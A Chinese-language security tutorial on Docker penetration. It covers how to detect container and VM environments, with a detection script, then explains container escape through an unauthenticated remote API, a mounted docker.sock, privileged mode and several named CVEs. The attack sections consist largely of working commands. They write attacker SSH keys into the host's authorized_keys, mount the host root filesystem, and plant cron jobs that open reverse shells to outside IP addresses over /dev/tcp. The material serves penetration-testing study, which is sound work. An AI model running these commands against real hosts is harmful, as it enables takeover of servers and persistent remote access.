本文探究Docker渗透思路及方法...
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…
0x01 虚拟环境探测 1. 容器环境 1 2 3 4 5 6 7 8 9 1. 检查/.dockerenv文件是否存在 ls / -al | grep dockerenv 2. 检查/proc/1/cgroup或/proc/1/cpuset内是否包含"docker"等字符串 cat /proc/1/cgroup | grep docker cat /proc/1/cpuset | grep docker
2. 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 1) 容器环境 cat /proc/1/cgroup | grep -qi docker \ && echo "Docker" \ || echo "Not Docker" [[ -f /.dockerenv ]] && echo "Docker" || echo "Not Docker" cat /proc/1/cgroup | \ grep -q 'machine-rkt' \ && echo 'rkt' \ || echo 'not rkt' 2)物理机环境 systemd-detect-virt // 输出为none,则说明是物理机 lscpu | grep -Piq 'Hypervisor vendor' \ && echo "Virtual Machine" \ || echo "Physical Machine" dmidecode -t system // 查看 DMI 信息/sys/firmware/dmi/tables/DMI 3)虚拟机环境 systemd-detect-virt //如果是虚拟机,则会输出虚拟机类型,如 kvm、oracle(virtualbox)、xen 等 lscpu | grep -i 'Hypervisor vendor' | cut -d ':' -f 2 | tr -d ' ' // 根据 lscpu 命令输出,查看Hypervisor vendor属性值 dmidecode -t system // 获取更多的虚拟机信息
3. 探测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #!/bin/sh detect_container() { if which systemd-detect-virt >/dev/null 2>&1; then TYPE=$(systemd-detect-virt -c) if [ "$TYPE" = "none" ]; then return 1 else echo "Container: $TYPE" return 0 fi fi if [ -n "$container" ]; then echo "Container: $container" return 0 fi if grep -qi docker /proc/1/cgroup; then echo "Container: Docker" return 0 fi if test -f /.dockerenv; then echo "Container: Docker" return 0 fi if grep -qi 'machine-rkt' /proc/1/cgroup; then echo "Container: rkt" return 0 fi # Other container type detect here return 1 } detect_physical() { if ! lscpu | grep -qi 'Hypervisor vendor'; then echo "Physical: $(cat /sys/class/dmi/id/product_name)" return 0 fi return 1 } detect_virtual_machine() { if lscpu | grep -qi 'Hypervisor vendor'; then HYPER_TYPE=$(lscpu | grep -i "Hypervisor vendor" \ | cut -d ':' -f 2 | sed 's/^ *//g') if dmidecode -t system | grep -qi 'amazon'; then echo "Virtual Machine: AWS/$HYPER_TYPE" elif dmidecode -t system | grep -qi 'openstack'; then echo "Virtual Machine: OpenStack/$HYPER_TYPE" elif dmidecode -t system | grep -qi 'alibaba'; then echo "Virtual Machine: Aliyun/$HYPER_TYPE" else Manufacturer=$(dmidecode -t system | grep 'Manufacturer' \ | cut -d ':' -f 2 | sed 's/^ *//g') ProductName=$(dmidecode -t system | grep 'Product Name' \ | cut -d ':' -f 2 | sed 's/^ *//g') Version=$(dmidecode -t system | grep 'Version' \ | cut -d ':' -f 2 | sed 's/^ *//g') echo "Virtual Machine: $Manufacturer $ProductName($Version)/$HYPER_TYPE" fi return 0 fi return 1 } detect_virtual_type() { detect_container || detect_physical \ || detect_virtual_machine || echo "Unknown" } detect_virtual_type "$@"
0x02 Docker攻击面 1. docker daemon api unauth Docker remote Api未授权访问的攻击原理与Redis未授权类似,是向运行该应用的服务器写文件,从而拿到服务器的权限,docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker
1 sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 1) 容器挂载宿主机/root/目录,写ssh公钥 docker -H tcp://192.168.1.10:2375 run -it -v /root/:/root/ --name alpine_linux image_id sh docker -H tcp://192.168.1.10:2375 start ct_id docker -H tcp://192.168.1.10:2375 exec -it --user root ct_id sh echo -e "\n\npubkey\n\n" >> /root/.ssh/authorized_keys 2) 容器挂载宿主机/etc/目录,反弹shell写入/etc/crontab;或者挂载var/spool/cron/目录,写入/var/spool/cron/root文件 # 查看宿主机可用镜像 docker -H tcp://192.168.1.10:2375 images # docker -H tcp://192.168.1.10:2375 pull alpine:latest # 选择镜像创建容器挂载本地目录 docker -H tcp://192.168.1.10:2375 run -it -v /var/spool/cron/:/var/spool/cron/ image_id sh # docker -H tcp://192.168.1.10:2375 run -it -v /etc/:/etc/ image_id sh # docker run -it -v /etc/:/etc/ -v /root/:/root/ -v /var/spool/cron/:/var/spool/cron/ image_id //挂载多个路径 # 启动刚刚创建的容器并连接 docker -H tcp://192.168.1.10:2375 start ct_id docker -H tcp://192.168.1.10:2375 exec -it --user root ct_id sh # 执行shell反弹命令 echo '* * * * * sh -i >& /dev/tcp/192.168.143.158/9966 0>&1' >> /var/spool/cron/root echo -e "\n\n* * * * * root sh -i>&/dev/tcp/192.168.143.158/9966 0>&1\n\n" >> /etc/crontab
2. 容器逃逸漏洞 Docker逃逸主要由三类原因引起,配置不当、软件设计缺陷及内核漏洞
a. 配置不当导致逃逸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 1) docker remote api未授权访问 2) docker.sock挂载到容器内部 在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中 docker run --rm -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ alpine \ /bin/bash find / -name docker.sock # 在容器中查找docker.sock docker -H unix:///var/run/docker.sock info # 在容器查看宿主机docker信息 docker -H unix:///var/run/docker.sock run -it -v /:/test alpine /bin/bash # 运行新容器并挂载宿主机根路径 在新容器的/test 目录下,可以访问到宿主机的全部资源,接下来可通过写文件获取shell 3)docker特权模式启动 使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限;Docker 通过Linux namespace实现六项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器较大的权限,从而打破了资源隔离的界限 docker run --rm -it --privileged -v /:/soft --cap-add=SYS_ADMIN # 启动时,允许执行mount特权操作,需获得资源挂载进行利用 --net=host # 启动时,绕过Network Namespace --pid=host # 启动时,绕过PID Namespace --ipc=host # 启动时,绕过IPC Namespace alpine /bin/bash sudo docker run -itd --privileged alpine:latest /bin/bash # 通过特权模式启动一个容器 fdisk -l # 在容器内查看磁盘文件 mkdir /test # 将/dev/sda1 挂载到新建目录 mount /dev/sda3 /test echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/2233 0>&1' >> /test/var/spool/cron/root # 将计划任务写入到宿主机
b. 软件设计缺陷导致逃逸 Shocker 攻击
漏洞原理:Shocker攻击的关键是执行了系统调用open_by_handle_at函数,调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了容器逃逸的风险
影响版本: Docker版本< 1.0
refer: https://github.com/gabrtv/shocker
Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)
漏洞描述:当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。攻击者可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。
影响版本:Docker 19.03.0
安全版本:升级至安全版本 Docker 19.03.1及以上
runC容器逃逸漏洞(CVE-2019-5736)
漏洞描述:Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
影响版本:Docker版本 < 18.09.2,runc版本< 1.0-rc6
c. 内核漏洞导致逃逸 Dirty Cow(CVE-2016-5195)实现docker逃逸
refer: https://github.com/gebl/dirtycow-docker-vdso.git
0xFF Reference